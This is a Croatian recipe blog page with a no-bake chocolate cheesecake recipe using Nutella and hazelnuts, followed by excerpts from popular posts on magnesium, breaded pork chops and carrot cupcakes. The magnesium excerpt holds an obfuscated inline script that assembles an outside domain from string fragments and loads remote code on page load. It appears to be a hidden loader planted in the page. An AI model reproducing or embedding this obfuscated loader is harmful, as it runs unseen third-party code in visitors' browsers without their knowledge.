ČOKOLADNI CHEESECAKE S NUTELLOM I LJEŠNJACIMA 🍫




Čokoladni cheesecake s Nutellom i lješnjacima 




Čokoladani cheesecake izgleda impresivno, a jednostavno ga je napraviti i - još bolje - ne peče se. Puni okus i divan kontrast svilene kreme i mrvičaste podloge osvojit će i najkritičnije sladokusce. Bogata krema od krem sira, mascarponea, tamne čokolade i Nutelle savršeno se spaja s hrskavom podlogom od keksa i zobenih pahuljica. Poslužite ga uz kavu i uživajte!





Čokoladni cheesecake s Nutellom i lješnjacima 


Sastojci:

Za podlogu

  • 100 g neslanog maslaca, otopljenog (+ malo za kalup)
  • 110 g čokoladnih digestiv keksa
  • 160 g digestiv keksa
  • 60 g zobenih pahuljica
  • 3 žlice Nutelle

Za kremu

  • 360 g krem sira sobne temperature
  • 250 g mascarpone sira
  • 60 g šećera u prahu, prosijanog
  • 200 g tamne čokolade (najmanje 55 % kakaa), otopljene i malo ohlađene
  • 30 – 45 ml punomasnog mlijeka (2 – 3 žlice)

Za dekoraciju

  • 2 žlice prženih lješnjaka, grubo nasjeckanih , po želji



Priprema:


  1. Lagano premažite duboki kalup promjera oko 23 cm maslacem i obložite ga papirom za pečenje tako da papir prelazi rubove kalupa. Stavite u hladnjak dok pripremate podlogu.
  2. Odvojite dva čokoladna digestiv keksa za završnu dekoraciju. Preostale kekse usitnite u multipraktiku do sitnih mrvica. Dodajte zobene pahuljice, otopljeni maslac i 1 žlicu Nutelle pa kratko miksajte dok ne dobijete kompaktnu smjesu.
  3. Smjesu rasporedite po dnu ohlađenog kalupa, dobro utisnite i poravnajte stražnjom stranom čaše. Stavite u hladnjak na najmanje 30 minuta.
  4. Električnim mikserom izmiksajte krem sir, mascarpone i šećer u prahu dok ne dobijete glatku smjesu. Dodajte otopljenu čokoladu, preostale 2 žlice Nutelle i 30 ml mlijeka. Miksajte dok se svi sastojci ne povežu u svilenkastu kremu. Ako je smjesa pregusta, dodajte još 1 žlicu mlijeka.
  5. Kremu rasporedite preko ohlađene podloge i zagladite površinu špatulom.
  6. Preostala dva čokoladna digestiv keksa usitnite u mrvice, pomiješajte ih s nasjeckanim lješnjacima i ravnomjerno pospite preko cheesecakea.
  7. Desert stavite u hladnjak na najmanje 4 sata ili preko noći.
  8. Kad se cheesecake potpuno stisne, pažljivo ga izvadite iz kalupa pomoću papira za pečenje. Narežite i poslužite.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više